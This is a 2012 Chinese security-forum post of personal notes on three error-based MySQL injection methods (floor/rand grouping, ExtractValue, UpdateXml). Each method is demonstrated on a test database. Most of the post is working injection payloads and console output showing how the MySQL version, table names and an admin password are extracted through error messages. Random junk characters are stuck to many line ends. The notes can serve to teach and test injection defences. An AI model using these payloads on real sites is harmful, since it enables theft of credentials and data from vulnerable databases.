找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2306|回复: 0
打印 上一主题 下一主题

关于Mysql注入过程中的三种报错方式

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-10 10:28:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。
! d/ }; W2 H& H  t' _! r2 g实际测试环境:8 L1 r/ o; Q- V" o/ I1 b3 j6 {
1 r+ I# ^5 B$ \; k
6 V! m2 x2 }. c5 U
mysql> show tables;
* `' \+ q3 u/ e0 `9 B+----------------+6 B1 Y8 `* w, z- i  [* }  s, i" w
| Tables_in_test |
& H. x- ]: C6 b  W+----------------+
0 V* A# i1 S/ p6 U$ ~0 v; c+ p| admin          |5 U4 `3 `7 v9 I6 h
| article        |
( t5 L: q$ n1 W- N8 W# l' H+----------------+
6 F) _  n- g6 i+ F; Z( `! Z
, m) p* H, U9 Q* l$ Z
+ x; x! X+ u3 c/ I# B$ L4 V , N+ n5 ?+ p5 d; X* G* ]* D2 d
mysql> describe admin;
' i; J; K4 z: Y0 l0 O+ m8 Y+-------+------------------+------+-----+---------+----------------+4 Y* c+ f" h! V: h- h
| Field | Type             | Null | Key | Default | Extra          |/ P4 \8 o$ D1 }. s+ l9 Z
+-------+------------------+------+-----+---------+----------------+
& i: Z1 O3 l$ {: l0 `' W| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
3 X0 u. ?( w7 z| user  | varchar(50)      | NO   |     | NULL    |                |5 m5 M+ M1 U  I* _+ W' z. t" v4 M
| pass  | varchar(50)      | NO   |     | NULL    |                |
6 U6 X  d$ j- r  M, N) _+-------+------------------+------+-----+---------+----------------+9 l) K+ X/ \; ]$ w

; h$ ?; h0 e. j, q7 p
% e) P6 Y* l  }& ^  X0 K * M7 \  P) a9 t( ^6 b
mysql> describe article;
! u6 e  A5 }' I3 w: c2 z* Q: {+---------+------------------+------+-----+---------+----------------+
& \/ I7 o$ B9 i( p2 E: ]+ t| Field   | Type             | Null | Key | Default | Extra          |$ C' z) V* H4 x
+---------+------------------+------+-----+---------+----------------+5 X: g( ^8 F6 b  e2 A
| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |1 T; `1 U$ h  ^$ k+ G  f
| title   | varchar(50)      | NO   |     | NULL    |                |
' i4 q) X% w! [6 x, x| content | varchar(50)      | NO   |     | NULL    |                |
* E1 p0 L' l5 t; M+---------+------------------+------+-----+---------+----------------+1 c% R& \6 h! E$ \
1、通过floor报错
6 U( C) X% w  ]$ @* C可以通过如下一些利用代码
. v: M3 j8 I7 k) \0 s ' Q' T  S+ [) R6 ?. m
  y3 \/ q( h, T6 @. I
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
( K% h: j4 Z' U+ m8 nfrom information_schema.tables group by x)a);
& ]3 \$ P! a( @& g! e$ \) k6 v
; V7 B! K" ]5 D6 {1 _ ) y7 j5 T' V& W, s) |
and (select count(*) from (select 1 union select null union select !1)x' @" T! \5 U) I; c2 z' z
group by concat((select table_name from information_schema.tables limit 1),
/ z- {5 u& y8 k" s& o& t' afloor(rand(0)*2)));
7 O) T4 d! [( h举例如下:
* A/ A/ ?2 A9 E首先进行正常查询:% t0 U  v! S( s

9 Q; I8 p) @( M7 k/ i; Y+ r, Zmysql> select * from article where id = 1;
4 ^/ p( A: {0 _7 Y. B1 H8 h; h' Q7 q+----+-------+---------+
& b/ u4 z$ y. ^2 F1 c6 i6 d9 h, \| id | title | content |
- g- ]. N" }1 w+----+-------+---------+
( r; U8 N8 u- E5 O' I|  1 | test  | do it   |
6 |( U2 C2 _$ ]2 G+----+-------+---------+  h. C. @; C( W; q9 z
假如id输入存在注入的话,可以通过如下语句进行报错。
' s. v) H4 f; `1 l- X1 y( t/ x 7 N: u, V' P: w/ u8 N4 \8 a  Z

9 d3 ~9 |6 B: a/ P! w2 tmysql> select * from article where id = 1 and (select 1 from. S# k3 C3 L6 O! _
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);3 Z' t) l$ K( y; p! `+ P
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key': J9 n1 O+ v4 e* d
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
5 a' I) Q+ {- r0 J例如我们需要查询管理员用户名和密码:' ?# `0 o  m9 r4 N. K! p" S
Method1:
8 ^8 @/ G3 l% [! H: [
2 }5 ?6 `# s; p. W   `( ?/ @. m4 j
mysql> select * from article where id = 1 and (select 1 from2 R' n  j; e2 x5 z/ [
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
/ L6 ?7 d0 E2 [2 _7 F( |$ pfrom information_schema.tables group by x)a);
$ b% a, I1 R0 n! d# `ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
3 W8 T% J) E% V& z3 gMethod2:$ M0 y- c0 s$ B5 \  b: O
" s* V5 _$ w1 s) n1 a& I
0 r0 b( o2 c$ w5 D% Q
mysql> select * from article where id = 1 and (select count(*)
) |5 P: k$ S* a7 q. gfrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
  F% x+ y$ @. z) S) O2 m; Yfloor(rand(0)*2)));& U+ O% m2 F) V* u+ t) R$ F+ M
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'7 n$ W  s  L% W
2、ExtractValue
, m) [" h4 u2 e# p测试语句如下
4 F8 T, w* w* f' a  Q7 l
3 V! a" a2 }, f
% v, Q* t! I; c) @0 _2 P3 Cand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));7 J0 w/ z0 G) `6 g+ k2 q5 v
实际测试过程' S; S; }# ]% v/ \' h* I
' l2 r" ~7 R* a6 u6 l
; h3 k4 f' j; x4 l7 v
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,$ n9 [5 v" d/ h6 o3 @0 C( a
(select pass from admin limit 1)));--
! H4 z9 l! K- uERROR 1105 (HY000): XPATH syntax error: '\admin888'9 `* T; @- ]/ q" e, c% k
3、UpdateXml
0 D. M9 W/ ]! N; _0 q1 l. w测试语句/ v6 @4 w, k7 R

' D. b/ v  q. i/ C7 ^
) X0 D+ p$ f' e  i, X3 sand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
- ^( F! e, i: D. L" p9 A' K实际测试过程$ ?3 F/ M; N2 \, r7 i7 |, k
! n! b! [( U$ Y3 U+ F6 C! W7 ~" {

% A  W1 c7 ^! d' Fmysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
7 i. g% \: f) o0 ~0 F( o1 z(select pass from admin limit 1),0x5e24),1));
8 M( _- z: e" e7 WERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
' W( _6 g8 w4 g) [All, thanks foreign guys.
. ]) j* s" i9 f$ ^# {
, M  M1 s. s4 x, v4 ^! d9 _$ A7 E( c' }8 x2 S8 n
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表